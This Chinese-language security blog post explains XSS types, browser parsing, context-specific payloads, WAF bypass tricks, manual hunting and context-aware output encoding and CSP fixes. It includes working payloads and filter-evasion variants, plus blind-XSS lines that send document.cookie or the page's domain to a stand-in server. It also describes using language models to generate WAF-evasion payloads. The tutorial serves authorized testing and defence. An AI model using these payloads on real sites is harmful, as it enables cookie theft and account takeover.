1. 别看不起XSS:它为什么是Web安全里最"老不死"的问题
我见过不少刚接触安全测试的同事,一开始最看不上XSS。理由很简单:它既不能像SQL注入那样直接拖库,也不能像RCE那样拿服务器权限。弹个alert(1),截个图,写上"存在XSS漏洞",报告就完事了。这种看法其实害人不浅——XSS今天仍然是Web安全里出现频率最高、扩展杀伤力最强的漏洞类型之一,只是它很少"单打独斗"出大事,而是作为整个攻击链条的起点或放大器存在。
我这么说不是给XSS贴金。你随便翻一个SRC平台的漏洞报告排行榜,XSS类目永远占大头。原因不用往深了想——现在的Web应用越来越重前端,几乎每个页面都在动态拼接数据、渲染用户输入,只要有一个拼接点没做上下文区分处理,攻击者的脚本就能进来自主执行。更麻烦的是,这类漏洞的判定和修复都特别依赖上下文,一个看似安全的写法换个页面上下文就坏了,这也是"老不死"的根本原因。
1.1 弹窗只是表象,同源执行权限才是要害
很多人理解的XSS就是弹个窗。但XSS真正的能力是:攻击者的JavaScript代码,可以在受害者的浏览器里,以当前站点的同源身份执行任意逻辑。这句话背后的杀伤力,比"弹窗"这两个字大得多。
拿同源策略来说,页面A只能读写A域下的cookie、localStorage、sessionStorage,本身是一种浏览器隔离机制。可一旦XSS存在,攻击者的脚本就站在了站点自己的地盘上,想干什么都可以:
- 读取并外传当前用户的cookie、登录态、Token
- 读取localStorage、sessionStorage、IndexedDB里的业务数据
- 以用户身份调用后端接口,执行敏感操作,比如改密码、转账、发消息
- 在页面里挂键盘记录器,等用户下次输入账密
- 静默发起CSRF请求,做横向操作
如果你拿到的是管理员后台的XSS,那影响面就不是一个用户了,而是一整片。我参与过某次授权测试,目标是一个内部运营管理平台,最终突破点就是运营用户昵称处的一处存储型XSS。拿到昵称渲染点的执行权限之后,我在测试环境的浏览器里直接调内部接口翻用户列表,整个后台的管理权限配置一目了然。所以XSS从来不是"弹窗危害等级为低"的问题,而是**"当前用户在同一个源下能做的一切事情,攻击者都能做"**的问题。
1.2 为什么它的生存空间至今没被压缩
理论上讲,后端模板框架、前端框架、各类转义库都发展得相当成熟了,XSS应该越来越少才对。但现实恰好相反,每一年漏洞报告中XSS依然排在前列。我觉得核心原因有三个:
第一,业务代码的增长速度远大于框架约束的覆盖范围。框架默认转义只能防住"正规写法",但业务里总有拼接HTML、动态改DOM、拼URL参数的需求。只要有人直接操作innerHTML、document.write、eval,框架再安全也拦不住。
第二,XSS的触发点是多维的。现在的应用有大量数据通路:URL参数、hash、postMessage、window.name、Referrer、剪贴板、WebSocket消息、Service Worker缓存。开发者很难意识到每个入口都可能是攻击者的可控点,后端WAF更是只能看到HTTP层的一部分,客户端自身的数据流转基本处于裸奔状态。
第三,降级的安全策略和过时的修复习惯。很多团队仍然用"过滤尖括号""过滤script关键字"这种老土思路来对抗XSS,遇到编码绕过的payload就失守。真正有效的修复是"分级编码+上下文感知",但这需要一定的安全功底,很多项目没有这个意识。
1.3 这个系列要聊到哪一步,适合谁看
这是"XSS"系列的第一篇,我计划把它做成一套从原理到实战、从挖洞到修复的完整内容。这篇先把地基打牢:三大类型、浏览器解析机制、攻击语句的构造思路、手工挖掘路线、修复编码策略,外加一些关于"用大模型辅助XSS挖掘"的真实看法。后续我会单独拿一篇重点啃DOM型XSS,把source到sink的完整分析链路展开。
适合看的对象有两类:一是刚入门Web安全、想系统理解XSS而不只是背payload的测试人员;二是Web开发者和前端架构师,想搞清楚"为什么框架转义了还能被打穿"以及"到底该怎么修"。这两类人读完这篇,至少能在同一个技术层面上对话,而不是各说各话。
2. 反射、存储、DOM:XSS三条技术路线的本质差异
XSS之所以让很多人觉得"会弹窗但说不清原理",是因为它不是一个单一形态的漏洞。按触发链路,它可以分成三条完全不同的技术路线。搞清楚它们到底"坏在哪一环",比背一百个payload都重要。
2.1 反射型XSS:请求里的值进去了又出来
反射型XSS的核心特征是:用户的输入没有落库,而是被服务端接收后,直接拼接到响应当中返回给同一个浏览器。整个生命周期就是"请求进去、响应出来、浏览器解析执行"。
最常见的现场就是搜索框。在某个搜索页面输入关键字,页面往往会在结果区域展示"您搜索的是:xxx"。如果服务端没有对参数值做输出编码,直接把xxx拼进HTML,那这条数据流就存在注入可能。我随手写个例子:
服务端伪代码:
$keyword = $_GET['kw']; echo '<div>您搜索的内容是:' . $keyword . '</div>';此时请求/?kw=<img src=x onerror=alert(document.domain)>,服务端原样把这段内容拼进HTML,浏览器解析<img>标签时触发onerror事件,脚本就执行了。
反射型的利用特点是必须诱导受害者点击攻击者构造好的恶意链接。攻击者没办法提前把payload存在目标服务器上,只能把完整链接发给受害者,或者藏在短链接、二维码后面等受害者去点。所以它经常跟钓鱼、社工、垃圾消息配合使用。
对于自动化检测来说,反射型XSS反而好找一些,因为"输入点什么、输出响应里立刻能看到"这个特征很明显。但要注意,现在很多网站加了WAF、输入过滤,反射点被层层检查,常见payload直接被拦。这就进入后面要讲的编码博弈环节了。
2.2 存储型XSS:数据落库之后才是开始
存储型XSS的链路比反射型长一环:用户的恶意载荷先被服务端保存下来,存进数据库、文件、缓存或者任何持久化位置,等下一个用户访问包含该位置的页面时,服务端读取数据并渲染,攻击代码被动触发。
典型的存储点包括:
- 评论区、留言板、帖子标题
- 用户昵称、个人简介、头像URL
- 购物评价、商品补充描述
- 工单标题和内容
- 管理后台的各种自定义配置项
存储型XSS最可怕的地方在于不需要诱导点击。攻击者只需要把payload提交成功,所有访问渲染点的人都会中招。比如在公开产品的评论区放一条<script>,每个打开详情页的用户都会执行一次。如果是管理后台的展示区,那受害对象直接就是运营和审核人员,权限层级一下子拉高。
我做过一个记忆很深的授权测试案例:某个系统的"备注"字段没有做输出编码,普通用户可以给订单写备注。这个备注在运营后台的订单详情页里以HTML形式渲染。于是攻击者能做的就不是弹窗那么简单了——他可以构造一段脚本,读取运营后台的cookie,再把运营后台的增删改接口挨个调一遍。整个过程完全不需要运营人员做什么额外操作,只要打开订单详情页就触发。这个案例的教训是:存储型XSS的危险等级从来不低于SQL注入,只是它变现更隐蔽。
2.3 DOM型XSS:服务端完全不知情的"灯下黑"
DOM型XSS和前两者有本质区别:反射型和存储型的注入都发生在服务端拼HTML的那一步,服务端代码里能看见完整链路;而DOM型XSS的整个流程都在浏览器端完成——服务端返回的静态JavaScript代码读取了某个不可信数据源,再把这份数据直接写到DOM的可执行位置里。
关键特征就是服务端根本没有把未知数据拼进响应HTML。攻击载荷存在于URL的hash部分、window.name、postMessage事件参数、document.cookie、localStorage等客户端可读位置,前端代码自己在运行时把它取出来,经过一系列字符串处理,最终进入innerHTML、document.write、eval、location、setTimeout这类"危险sink"。
拿一个很典型的hash处理来说:
// 前端代码原本是想根据hash显示不同欢迎文案 let user = location.hash.split('#')[1]; document.getElementById('welcome').innerHTML = '你好,' + user;攻击者可以把payload拼在链接的hash里发给受害者:https://shop.example/index.html#<img src=x onerror=alert(document.cookie)>。服务端看到的请求只是GET /index.html,没带任何恶意参数,WAF完全没反应。但浏览器执行前端JS后,location.hash里的内容会被取出来,拼进innerHTML,然后就执行了。
DOM型XSS为什么难发现?因为它不在服务端响应里,也不在一个统一的输入输出对里,而是藏在JavaScript业务代码的数据流当中。你会发现,服务端怎么修、怎么加WAF都碰不到这条链路,真正的修复点在客户端代码。
2.4 一张表分清三者
| 维度 | 反射型XSS | 存储型XSS | DOM型XSS |
|---|---|---|---|
| 数据存储位置 | 不存储,请求响应即走 | 存储于服务端数据库/文件 | 存储于浏览器本地/客户端介质 |
| 漏洞形成位置 | 服务端拼HTML阶段 | 服务端拼HTML阶段 | 客户端JS读取并写入DOM阶段 |
| 典型输入点 | GET/POST参数、路径 | 评论、昵称、资料字段 | location.hash、window.name、postMessage、localStorage |
| 是否需诱导点击 | 需要 | 不需要 | 通常需要,部分场景不需要 |
| 服务端防御可达性 | 服务端输出编码即可 | 服务端输出编码即可 | 服务端修不到,必须改前端JS |
| 自动化检测难度 | 相对容易 | 相对容易 | 难,需代码审计 |
表格里"服务端修不到"这一点,是很多团队在DOM型XSS上反复栽跟头的原因。后面第四篇我会专门展开DOM型,这里先记住这个判断方法:看到一个XSS漏洞,先定位数据是谁拼进HTML的。如果是服务端模板或接口响应拼的,优先归为反射/存储;如果是前端JS自己从某个数据源取出来再写进DOM的,就是DOM型。
3. 一条攻击语句如何骗过浏览器:编码与解析的博弈
很多人以为XSS就是往输入框里塞<script>alert(1)</script>,被弹出来就收工。真实场景完全不是这么简单——开发者和WAF会做各种过滤,攻击语句要想真正执行,得跟浏览器解析机制配合。所以攻击语句本质上不是一段"字符串",而是一场与解析器之间的博弈。
3.1 浏览器的多层解析规则才是真正的战场
一个HTML文档被浏览器解析,不是一次性把字符串全解释完的,而是分层进行的。大致可以分为四层:
- HTML解析:解析器把响应体当HTML文档,识别标签、属性、文本节点。
- 属性解析:解析到具体标签属性,按该属性的类型决定后面的解析方式,比如
href用URL解析器,style用CSS解析器。 - URL解析:处理带URL性质的属性,会有协议识别、百分号解码。
- JavaScript解析:脚本内容或事件属性里的代码,进入JS解析器执行。
每一层都有各自的解码规则。举例说明:
<img src=x onerror="alert(1)">这条普通载荷走的是HTML解析层,onerror属性被识别为事件属性,属性值里的内容进入JavaScript解析器执行。如果我想要绕过某种过滤,就要考虑上面其它层的解码是否给机会。
比如服务器只过滤了尖括号,但它对URL类属性做了一次URL解码后再输出。这时可以构造javascript:alert(1)——HTML解析器会把实体:解码成冒号,变成javascript:alert(1),服务器看到的原始输入里没有尖括号,避开了过滤。这就是"浏览器多层解码"带来的绕过空间。
再举一个更绕的例子:假设过滤规则只匹配小写script,我用<SCRIPt>大小写混合就能绕过正则。如果连大小写混合也过滤了,还可以用HTML实体编码属性值:<img src=x onerror="alert(1)">,事件属性里的实体在JS解析前会被HTML解码还原。
记住一个核心结论:过滤脚本在哪个环节生效,payload就应该在哪个环节前面再加一层编码或变形。不看上下文乱试payload和瞎蒙撞大运没本质区别。
3.2 从经典payload到绕过变形:攻击语句的常见套路
一套好用的XSS攻击语句库,不是靠堆砌几百个payload,而是按"目标上下文"分成几类。常见的执行上下文大致有六种:
第一种:直接在HTML标签内插入新标签。最常见的场景是数据被拼在HTML正文。经典语句:
<script>alert(1)</script> <img src=x onerror=alert(1)> <svg onload=alert(1)> <iframe src="javascript:alert(1)">如果<script>被过滤,用<img>的onerror事件绕过;如果onerror也被过滤,换<svg>的onload;如果事件关键字被过滤,用HTML实体或者拼接来拆关键字。
第二种:数据被拼进标签属性值,比如<input value="用户输入">。此时经典的思路是先闭合属性再闭合标签:
"><script>alert(1)</script> "><img src=x onerror=alert(1)> " onfocus="alert(1)" autofocus="这里关键不是payload有多花哨,而是你得先判断能不能逃逸出引号约束。如果服务端把双引号转义成",那就要看它有没有把"作为HTML实体再解码——很多转义库在特定属性上下文里会二次解码,导致转义失效。
第三种:数据被拼进href、src这类URL属性。这类场景不需要闭合标签,直接把协议换成javascript:即可:
<a href="javascript:alert(1)">点我</a>如果服务端限制了协议白名单,可以试编码、大小写、空格换行绕协议检测:
java%0ascript:alert(1) javascript:alert(1) JaVaScRiPt:alert(1)第四种:数据直接进入JavaScript代码。比如服务端把用户输入拼进一段内联脚本的字符串里:
var user = "用户输入";此时要围绕"字符串逃逸"做文章:
";alert(1);// ";alert(1)// \" ;alert(1);////的作用是把后面残留的引号、分号、括号全部注释掉,避免语法错误。很多自动扫描器在这一步容易出错,因为只要JS语法不对,浏览器根本不执行任何代码,看起来就像"没弹窗"。
第五种:CSS上下文。老的浏览器支持style属性里写expression(alert(1)),现在已经基本被禁了,但background这类属性仍可能配合url(javascript:...)在某些浏览器内部触发。这个方向现在利用价值有限,但偶尔在老旧系统里能碰到。
第六种:模板引擎注入。前端用了Vue、Angular、React这类框架,数据在模板里渲染。虽然框架默认转义,但如果你能把{{constructor.constructor('alert(1)')()}}这种模板表达式塞进特定指令里,某些版本仍然存在模板注入的可能。这一块链路过长,要具体版本具体分析,以后单独聊,这里先提个醒。
建一套自己的payload库时,我不建议光存最终攻击字符,更建议每条payload都标注"适用上下文"和"绕过哪类过滤":能绕黑名单的,写清楚绕了哪个关键词;能绕URL检测的,写清楚用了哪层编码。这样到实际项目里才能快速匹配测试目标,而不是从网上下一个几千行的payload字典从头试到尾。
3.3 为什么正则和WAF很难全覆盖
现在很多安全设备、WAF规则的核心还是正则匹配关键词。正则本质上是"模式匹配一串字符",而浏览器解析是"多阶段解码之后执行",这两者的信息量天然不对等。
WAF常见的问题是:
- 匹配了
alert,没匹配top['al'+'ert']这种通过字符串运算动态拼接出来的函数名; - 匹配了
script,没匹配<svg/onload>这种不需要script标签也能执行事件的方式; - 匹配了
onerror,没匹配onerror可以拆成onerror=...中间插注释、换行、空格的变形; - 匹配了
javascript:,没匹配大小写、百分号编码、实体编码后的协议。
还有一个更隐蔽的问题:WAF只能看到请求正文,但DOM型XSS的数据可能藏在hash、postMessage等HTTP层完全不可见的载体里。也就是说,不管WAF规则多完善,它天然覆盖不了DOM型XSS。这也是为什么多了一层WAF之后,反射型少了,但DOM型反而占比变高了——防御侧的注意力全被吸引到了HTTP层,客户端内部的危险数据流成了盲区。
所以做XSS测试时,我很少依赖一个"万能payload"。正确做法是先摸清楚目标经过了哪些过滤层(服务端输入过滤、WAF、CDN),再根据过滤层的位置选择合适的编码和变形。这个"测试-变形-再测试"的迭代过程,才是XSS攻击语句真正有价值的地方。
4. 从零手工挖一个XSS:我的实操流水账
光讲原理不给操作步骤的文章,读完了还是不会用。下面我按自己前几年在授权测试项目里实际摸索出来的流程,把从零挖一个XSS的完整路径走一遍。前提是:所有测试都在你自己有权限的目标、SRC授权范围、或者自建实验环境里进行,别拿别人的线上系统练手。没授权的测试后果很严重,这条红线不能碰。
4.1 先找输入点,再顺着数据流看渲染
第一步不是写payload,而是找"输入点和输出点"。输入点包括URL参数、POST表单字段、JSON体、文件上传后的文件名、请求头、cookie。输出点可能是页面HTML里任何会包含这些数据的地方。
我常用的查找路径是:
- 打开目标页面,把所有可控参数挨个输入一组特殊字符,比如
zzz"'><img src=x>。 - 查看页面源码,搜
zzz,定位这个值在哪个HTML上下文中出现。 - 判断上下文:是在HTML标签里?属性值里?script字符串里?URL属性里?
- 根据上下文选择对应那套payload去测。
这套路径看起来简单,但有两个容易被忽略的关键动作。第一个是"看源码而不是看渲染后的页面",因为浏览器渲染后某些标签结构会变化,源码里才能看到真实的拼接方式。第二个是"输入特殊字符时不要只输一组","和'>要分开试,有时过滤把"转义了但没管',有时反过来,分两组能准确判断过滤规则。
对于任何你想测的参数,我另外推荐记住一个思路:先打破上下文,再注入新结构。比如<input value="用户输入">,先输入"看能不能闭合value属性;能闭合后输入"><img src=x onerror=alert(1)>看能不能逃逸出input标签。不要一上来就丢完整payload,那样被过滤了你也说不清是哪个环节拦的。
4.2 手动验证与利用时要注意的边界
弹窗alert(1)在自动化验证里很方便,但很多企业对XSS的验收标准已经不只是弹窗了。因为弹窗会被杀毒软件、浏览器插件拦截,而且有些页面的CSP头禁止内联脚本,alert(1)这类内联payload根本执行不了。所以实际项目中我通常用更贴近真实攻击的验证方式:
- 用
fetch把document.domain和location.href打回自己控制的服务器:fetch('https://your-server.example/collect?d=' + btoa(document.domain)) - 在
console.log里输出标志位,配合浏览器控制台确认脚本是否执行 - 用
<img src="https://your-server.example/pixel?x=1">验证能否发起外带请求
注意,做这些验证时要及时清理数据,测试完自己担责,不要让人家有环境里有残留payload被后来的人误用。
还有一个经常踩的坑:XSS能不能利用,跟浏览器环境强相关。同一个payload在Chrome最新版可能不执行,在某个机构内网允许的老版Chrome或特殊浏览器上就执行了。所以在写测试结论之前,至少要确认目标受众用的浏览器范围,别只拿自己电脑上的Chrome试一遍就下结论。
4.3 没有回显的反射点怎么确认
反射型XSS最好找的是"搜索框有回显"的场景,但更多的情况是输出点不会立刻出现在页面里,而是经过重定向、异步加载、局部刷新,甚至根本没有任何可见输出。这时候要换个策略。
比如某个请求参数被拼到了重定向的Location头里,可以强制浏览器跟着跳转到javascript:协议触发执行:
GET /go?url=javascript:alert(1) HTTP/1.1 Location: javascript:alert(1)如果响应里没有回显但参数参与了服务端的模板处理,可以用<!-- -->注释配合条件判断做一个"盲打"验证:把"><svg onload=setTimeout(function(){document.location='https://your-server.example/collect?c='+encodeURIComponent(document.cookie)},1000)>包装成存储型payload放进请求,如果管理员后续触发了这个页面,你的服务器就能收到外带请求。这就是"盲XSS"的思路——输出不可见不代表不执行,后端不一定把数据渲染到当前响应,但它可能渲染到别的页面(比如后台的列表、日志查看页、报表导出页)。
盲打的成功率依赖于"有后端场景会消费这段数据",所以测试时要把注意力放在有持久化可能的字段上:订单备注、用户名、联系方式、工单正文、错误日志等。这些字段的安全性比那些一打就弹窗的搜索框重要得多。
5. 修复不是过滤字符串:按上下文做输出编码才有活路
发现XSS容易,修得对不对难。很多团队修XSS就一个思路:把<、>、'、"转义掉。这种"一刀切"做法在HTML正文里可能有效,一旦换成URL属性、JavaScript上下文、DOM操作场景,立刻失效。在我看来,XSS修复的正确姿势是:先界定数据要进入的上下文,再选择对应的编码函数,没有一种编码能覆盖所有上下文。
5.1 不同上下文需要不同的编码策略
以服务端输出为例,常见上下文至少分四类:
HTML文本上下文。数据作为文本内容插入HTML标签之间。此时需要做HTML实体编码,把& < > " '对应转成& < > " '。很多语言都有现成函数,比如Java里可以自己封装一套或者使用安全库的escapeHtml。
HTML属性上下文。数据插入到某个属性的引号内。注意,即使做了HTML实体编码,还要考虑属性本身能不能被事件拦截。更稳妥的做法是:除了转义,还要限制属性值里不能出现空格、引号、等号,甚至尽量把用户数据用白名单值替代而不是让用户自由填。
JavaScript上下文。数据被拼进<script>块或事件属性。这里的编码逻辑跟HTML不一样,要把字符串转为JSON安全字符串,通常采用\x、\u转义,确保插入后内容只能当成字符串字面量,无法逃逸生成新语法。
URL上下文。数据拼进href、src、action。要么做URL协议白名单校验(只允许http/https),要么用encodeURIComponent整套编码。只做HTML实体编码肯定不够——javascript:alert(1)没有任何尖括号和引号,HTML编码对它无效。
我自己的修复原则可以总结成一句话:先确定数据从哪来、到了哪个上下文,再调用对应的编码函数,最后在编码之后加一层"功能白名单"校验。比如URL链接只允许http、https协议,javascript:、data:、vbscript:一律拒绝;事件属性里根本不允许用户数据进入,直接走后端字符串拼接动态事件。
5.2 CSP是减速带,不是隐形斗篷
Content Security Policy是目前最有效的XSS缓解手段之一。它通过响应头控制页面能加载哪些资源、是否允许内联脚本、允许哪些域名发请求。合理配置CSP能挡住一大片外部载荷,比如<script src="https://attacker.example/x.js">这种外链脚本会被script-src限制直接拦下,内联的onerror事件也能用'unsafe-inline'关闭来挡掉一部分。
但CSP不是万能的,有几个常见误区要警惕:
- 配置了
script-src 'unsafe-inline'意味着内联脚本全部放行,等于没有CSP; - 配置里加了一个用户可控的CDN域名,攻击者可以想办法把脚本发到该域名上,白名单变成后门;
- 页面里存在JSONP接口且域名在白名单内,攻击者可以借用JSONP绕过CSP限制拉取并执行脚本;
location.hash、window.name、postMessage这些数据源根本不受CSP的"资源加载"限制。
我见过一些"有CSP但还是被XSS"的案例,常见的突破口就是script-src里白名单过宽、允许'unsafe-eval'、或者存在可控的JSONP接口。所以CSP在我的定位里是"第三道防线",它减低了利用的便利性,但它替代不了输出编码和输入校验。
5.3 修复验收:回归测试要覆盖哪些场景
修复XSS之后,光在浏览器里刷新一下看有没有弹窗远远不够。我每次修完都会让测试按以下场景回归:
- 该上下文原来的payload是否还能执行?这是基本项。
- 在payload前加各种填充字符(引号、尖括号、反引号、百分号、换行符),验证是否会出现新的逃逸点。
- 切换数据类型:数字、字符串、JSON、URL,分别验证。
- 用编码后的payload验证是不是存在二次解码的问题。
- 如果改动涉及前端JS,要用来源数据(hash、localStorage、postMessage)分别构造一份测试用例。
还有一个很多团队忽略的地方:老数据要一起排查。即使修复了输出编码,漏洞发现之前已经被存储的恶意数据还躺在数据库里,一旦渲染出来照样执行。所以做存储型XSS修复时,绝不能只改代码,还要对存量数据做一轮清洗和标记。
6. 关于大模型辅助XSS挖掘的一点真实看法
最近很多人提"大模型辅助XSS漏洞挖掘",加上GitHub上各种安全Agent项目也火过一阵。作为实际做过不少XSS测试的人,我不想盲目唱衰,也不想跟风吹。这里聊点真实的使用感受。
6.1 大模型能帮上忙的三个地方
第一,代码审计的初筛。把目标前端JS代码段丢给大模型,让它标出哪些地方读取了不可信来源,哪些位置调用了innerHTML、document.write、eval等危险sink。这个活儿是纯体力劳动,大模型做初筛比人眼快得多,尤其面对几千行压缩过的业务代码。
第二,payload变体生成。传统payload会有针对WAF规则的变形需求,比如要绕onerror关键词拦截。把过滤规则描述给大模型,它可以快速给出一批候选变体,虽然不一定每条都能用,但能节省不少手动变形的精力。
第三,上下文理解辅助。把"数据源经过A函数和B函数处理后进入了innerHTML"这类代码路径喂给大模型,它可以分析中间是否有过滤、过滤是否可被编码绕过,这在判断DOM型XSS可行性时很有帮助。
我在自己搭的本地测试环境里试过几次,把Vue项目里一段处理用户输入并拼接DOM的代码交给大模型分析,它确实能准确指出location.hash的来源和innerHTML的写出点之间的数据流链,并给出"这里有DOM型XSS风险"的判断。从效率上讲,比我一行行读源码快很多。
6.2 它替代不了的那部分工作
但我不认为大模型目前能替代人工挖掘XSS,原因在实际项目中非常现实。
一是私有业务逻辑的背景知识缺失。大模型没见过你们公司的接口设计、鉴权体系、数据流约定,它只能基于局部代码猜。很多真正的高危XSS藏在"某个字段在A系统被写入,在B系统被渲染"这种跨系统链路里,单看一段代码根本看不出问题。
二是验证环节仍然得靠人。大模型可以给出"这个代码可能有XSS"的结论,但"这个XSS能不能利用、能否绕过后端WAF、能不能外带数据"必须实际在浏览器里跑。大模型对浏览器环境、CSP配置、特定版本行为这些变量没概念,容易给出"看起来能打但实际上打不通"的误报。
三是信息安全和合规问题。把目标系统代码直接灌给公开大模型,本身就有数据泄露风险。在涉及敏感业务的目标上,我更倾向用本地部署的模型或者完全不把代码带出测试环境。
所以我的观点是:把大模型当"思路加速器"而不是"全自动挖掘机"。它帮你圈定代码层级的高危区域、生成候选载荷,但最终钻进业务逻辑、确认可利用性、评估修复方案,还是得靠人的判断。
6.3 下一步:DOM型的深入我会放在系列第二篇
这篇把XSS的基础框架铺开了:类型边界、编码博弈、手动挖掘流程、修复编码策略。但在实际测试里,我遇到最多的、也是让很多经验不足的人头疼的,其实是DOM型XSS——它没有服务端回显、要分析source到sink的完整链路、还要考虑框架和SPA的路由机制。这些内容展开来体量不小,硬塞进这篇会让篇幅失控。
所以系列第二篇我会专门写DOM型XSS:怎么在SPA应用里快速圈定source和sink,怎么区分"理论上存在"和"实际可利用",怎么用浏览器调试器和代理工具组合验证,还会带上几个真实授权测试里碰到的DOM型案例。如果你手头正好有"输入点在hash或postMessage、输出点在innerHTML"的疑问,下一篇应该对胃口。
先写到这,下一篇见。